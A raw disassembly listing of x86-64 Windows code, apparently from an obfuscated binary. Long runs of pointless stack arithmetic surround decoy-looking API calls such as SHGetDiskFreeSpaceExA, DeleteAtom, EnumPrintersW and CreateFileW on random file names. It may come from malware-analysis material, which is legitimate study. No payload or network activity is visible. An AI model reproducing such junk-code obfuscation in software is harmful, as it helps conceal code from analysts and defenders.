movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x56c]
add eax, ecx
mov byte [0x140211039], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ff], al
mov eax, dword [0x140211394]
mov dword [rsp + 0x8020], eax
cmp dword [rsp + 0x8020], 0x4879
je 0x140018b92
jmp 0x140018bf7
lea r9, [rsp + 0x101f0]
lea r8, [rsp + 0x10220]
lea rdx, [rsp + 0x10220]
mov rcx, qword [rsp + 0x10298]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7fb4], eax
mov rax, qword [rsp + 0xda48]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x101d8]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x56c]
mov rdx, qword [rsp + 0x101c8]
mov ecx, dword [rsp + 0x7fb8]
call fcn.1401f4f00
jmp 0x140018c2c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0xcf70]
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
xor eax, ecx
movsx ecx, word [rsp + 0x2904]
mov dword [rsp + 0x8024], ecx
movsx edx, word [rsp + 0x1b14]
movzx ecx, dl
mov edx, dword [rsp + 0x8024]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1401f46f4
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ff]
sub eax, ecx
mov byte [rsp + 0x56d], al
cmp dword [rsp + 0x800c], 0xb20a
jae 0x140019163
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x28f8]
xor eax, ecx
mov word [rsp + 0x2900], ax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x101e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0xdac0]
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
shl rax, cl
mov qword [rsp + 0x102a0], rax
mov eax, dword [rsp + 0x7fa8]
movzx ecx, al
mov eax, dword [rsp + 0x7fcc]
sar eax, cl
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x571]
add eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28fc], ax
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2904], ax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x56b]
add eax, ecx
mov byte [rsp + 0x56c], al
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [0x140221da0]
sub eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x102a0]
mov rcx, qword [rsp + 0x10218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18b], al
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f98], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov eax, dword [rsp + 0x7fcc]
movzx ecx, al
mov eax, dword [rsp + 0x7f70]
shl eax, cl
mov dword [0x140211398], eax
movzx eax, word [rsp + 0x28fc]
movzx ecx, word [rsp + 0x28f0]
sar eax, cl
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2904]
xor eax, ecx
mov word [rsp + 0x28dc], ax
mov eax, dword [rsp + 0x800c]
add eax, 0x1c
mov dword [rsp + 0x800c], eax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xcf70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fc0], eax
movzx eax, byte [0x140221da0]
movzx ecx, byte [rsp + 0x56f]
and eax, ecx
mov byte [rsp + 0x18b], al
movzx eax, word [rsp + 0x28f0]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
sub eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0x10228]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140211394], eax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x56b], al
movzx eax, byte [rsp + 0x571]
movzx ecx, byte [rsp + 0x2ff]
add eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
and eax, ecx
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
xor eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
shl eax, cl
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0x102a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov eax, dword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x102a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x102a8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [0x140211398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ff]
and eax, ecx
mov byte [0x140221da0], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x102b0], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f0], ax
movsx eax, word [rsp + 0x2904]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0x10218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
mov rax, qword [rsp + 0x102a0]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f0], ax
jmp 0x140018c8a
mov eax, dword [0x140211394]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fcc], eax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x56e]
add eax, ecx
mov byte [rsp + 0x1c3], al
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
shl eax, cl
mov word [rsp + 0x28f8], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1fd7
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fc4], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
xor eax, ecx
mov word [rsp + 0x2900], ax
movzx eax, word [rsp + 0x28f0]
movzx ecx, word [rsp + 0x2708]
sar eax, cl
mov word [rsp + 0x28d8], ax
mov eax, dword [rsp + 0x7f44]
add eax, 0x40
mov dword [rsp + 0x7f44], eax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f98], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
and eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fa8], eax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221da0], al
movzx eax, word [rsp + 0x28f0]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28d8], ax
cmp dword [rsp + 0x7f44], 0x10a0d
jbe 0x14001917b
mov rax, qword [rsp + 0x10258]
movzx eax, word [rax]
mov word [rsp + 0x2908], ax
movzx eax, byte [rsp + 0x1c3]
mov byte [rsp + 0x8028], al
cmp byte [rsp + 0x8028], 0xa0
je 0x140019474
cmp byte [rsp + 0x8028], 0x2c
je 0x14001937f
jmp 0x140019511
mov dword [rsp + 0x20], 0x89
lea r9, [rsp + 0x10210]
mov r8d, 0xc9
lea rdx, [rsp + 0x10220]
lea rcx, [rsp + 0x28fc]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x802c], eax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
mov rax, qword [0x140221d90]
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
shl rax, cl
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x570], al
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x56c]
sar eax, cl
mov byte [rsp + 0x1c3], al
lea r9, [rsp + 0x102b8]
lea r8, [rsp + 0x27ec0]
lea rdx, [rsp + 0x102c0]
mov rcx, qword [rsp + 0x102c8]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7f88], eax
jmp 0x140019511
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.5DUWwozZ2XU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x102d0], rax
mov eax, dword [rsp + 0x7f54]
mov dword [0x140221d8c], eax
lea rax, [rsp + 0xda48]
mov qword [rsp + 0x102d8], rax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7d50], eax
mov dword [rsp + 0x8030], 0xacb8
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
sub eax, ecx
mov word [rsp + 0x2904], ax
movzx eax, word [rsp + 0x28f0]
mov dword [rsp + 0x8034], eax
cmp dword [rsp + 0x8034], 0
je 0x140019658
cmp dword [rsp + 0x8034], 0x23
je 0x14001955a
jmp 0x14001974d
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28f0]
sub eax, ecx
mov word [rsp + 0x28fc], ax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x2908]
sub eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2ff]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x571], al
mov rcx, qword [rsp + 0x102e0]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x102e8], rax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x7f70]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov dword [0x140211398], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10228]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
jmp 0x14001974d
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0x571]
sar eax, cl
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0xdac0]
mov qword [rsp + 0x102f0], rax
cmp qword [rsp + 0x102f0], 0
je 0x140019691
jmp 0x14001972c
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov word [rsp + 0x290c], ax
movsx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x28e4], ax
mov dword [rsp + 0x8038], 0x105e4
movzx eax, byte [rsp + 0x56b]
mov byte [rsp + 0x572], al
mov rax, qword [rsp + 0xd2f0]
movzx ecx, al
mov rax, qword [0x140221d90]
shl rax, cl
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x787c], eax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x290c]
and eax, ecx
mov word [0x14021139c], ax
jmp 0x14001974d
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f4c], eax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x290c]
sub eax, ecx
mov word [rsp + 0x28fc], ax
lea rax, [rsp + 0x18b]
mov qword [rsp + 0x102f8], rax
mov rax, qword [rsp + 0x10258]
movzx eax, word [rax]
mov word [rsp + 0x2910], ax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x102a0], rax
cmp dword [rsp + 0x7ffc], 0xb487
jbe 0x140019c2d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [0x140221d90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x102a0], rax
movzx eax, word [rsp + 0x28fc]
movzx ecx, word [0x14021139c]
and eax, ecx
mov word [rsp + 0x290c], ax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
movzx ecx, word [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28f4], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [0x140211398]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ff]
shl eax, cl
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2904]
sar eax, cl
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0x102a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov eax, dword [rsp + 0x7ffc]
sub eax, 0x15
mov dword [rsp + 0x7ffc], eax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x572]
xor eax, ecx
mov byte [rsp + 0x56e], al
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x290c]
and eax, ecx
mov word [rsp + 0x28f0], ax
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
lea rdx, [rsp + 0x10300]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8010], eax
lea rcx, [rsp + 0x24f78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
sub eax, ecx
mov word [rsp + 0x2900], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10308], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x787c]
add ecx, eax
mov eax, ecx
mov dword [0x140211398], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f54], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d50], eax
movzx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56f], al
movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18b], al
movsx eax, word [rsp + 0x2900]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x28fc]
sub eax, ecx
mov word [rsp + 0x290c], ax
mov rax, qword [rsp + 0xd518]
movzx ecx, al
mov rax, qword [rsp + 0xd2f0]
shl rax, cl
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xd638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
lea rdx, [rsp + 0x10280]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7fbc], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x801c], eax
mov eax, dword [rsp + 0x7f54]
movzx ecx, al
mov eax, dword [rsp + 0x7f8c]
shr eax, cl
mov dword [0x140211394], eax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18b], al
movzx eax, word [0x14021139c]
movzx ecx, word [rsp + 0x290c]
sub eax, ecx
mov word [rsp + 0x28fc], ax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [0x140211038]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x803c], eax
movsx eax, word [rsp + 0x2900]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [0x140221d90]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x2900], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x101c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov qword [rcx], rax
jmp 0x1400197c2
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov dword [rsp + 0x8040], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [0x14021139c]
and eax, ecx
mov word [rsp + 0x290c], ax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10208]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x7fb8]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x140019e63
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0xd2f0]
mov qword [rsp + 0x10310], rax
movsx eax, word [rsp + 0x2908]
movsx ecx, word [rsp + 0x28dc]
sub eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f28], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.puf7H9Ova_sPOZAk3pWUXpieUiL5KgXKv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10318], rax
mov dword [rsp + 0x8044], 0x11053
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov qword [rsp + 0x10320], rax
movabs rax, 0xb207fbdcefba0ba0
cmp qword [rsp + 0x10320], rax
je 0x140019d6a
jmp 0x140019e42
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56b]
imul eax, ecx
movsx ecx, byte [rsp + 0x56c]
movsx edx, byte [rsp + 0x572]
sub ecx, edx
cmp eax, ecx
jg 0x140019e40
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
mov qword [0x1402113a0], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov dword [rsp + 0x8048], eax
cmp dword [rsp + 0x8048], 0x62b
je 0x140019df4
jmp 0x140019e40
lea rcx, [rsp + 0x10328]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x787c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
jmp 0x140019e5e
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
jmp 0x14001a070
mov rax, qword [rsp + 0x101e0]
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
sar rax, cl
mov rcx, qword [rsp + 0xd638]
mov rdx, qword [rsp + 0xd518]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14001a070
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x572]
add eax, ecx
mov byte [rsp + 0x56e], al
lea rax, [rsp + 0x56e]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x8e
mov r9d, 0x89
mov r8d, 0x70
mov edx, 0x31
mov rcx, qword [rsp + 0x10328]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x7f4c], eax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2910]
shl eax, cl
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x10218]
movzx ecx, al
mov rax, qword [rsp + 0xd518]
sar rax, cl
mov qword [rsp + 0x10310], rax
mov rax, qword [rsp + 0x10310]
mov rcx, qword [rsp + 0x101e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov eax, dword [rsp + 0x787c]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x101d0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x101d0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x101d0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rax]
call fcn.1401f4cc0
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
and eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
lea rax, [rsp + 0x102b8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x7f88]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd0
lea r9, [rsp + 0x10298]
mov r8d, 0x19
mov rdx, qword [rsp + 0x10330]
mov ecx, 0xf2
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x7f88], eax
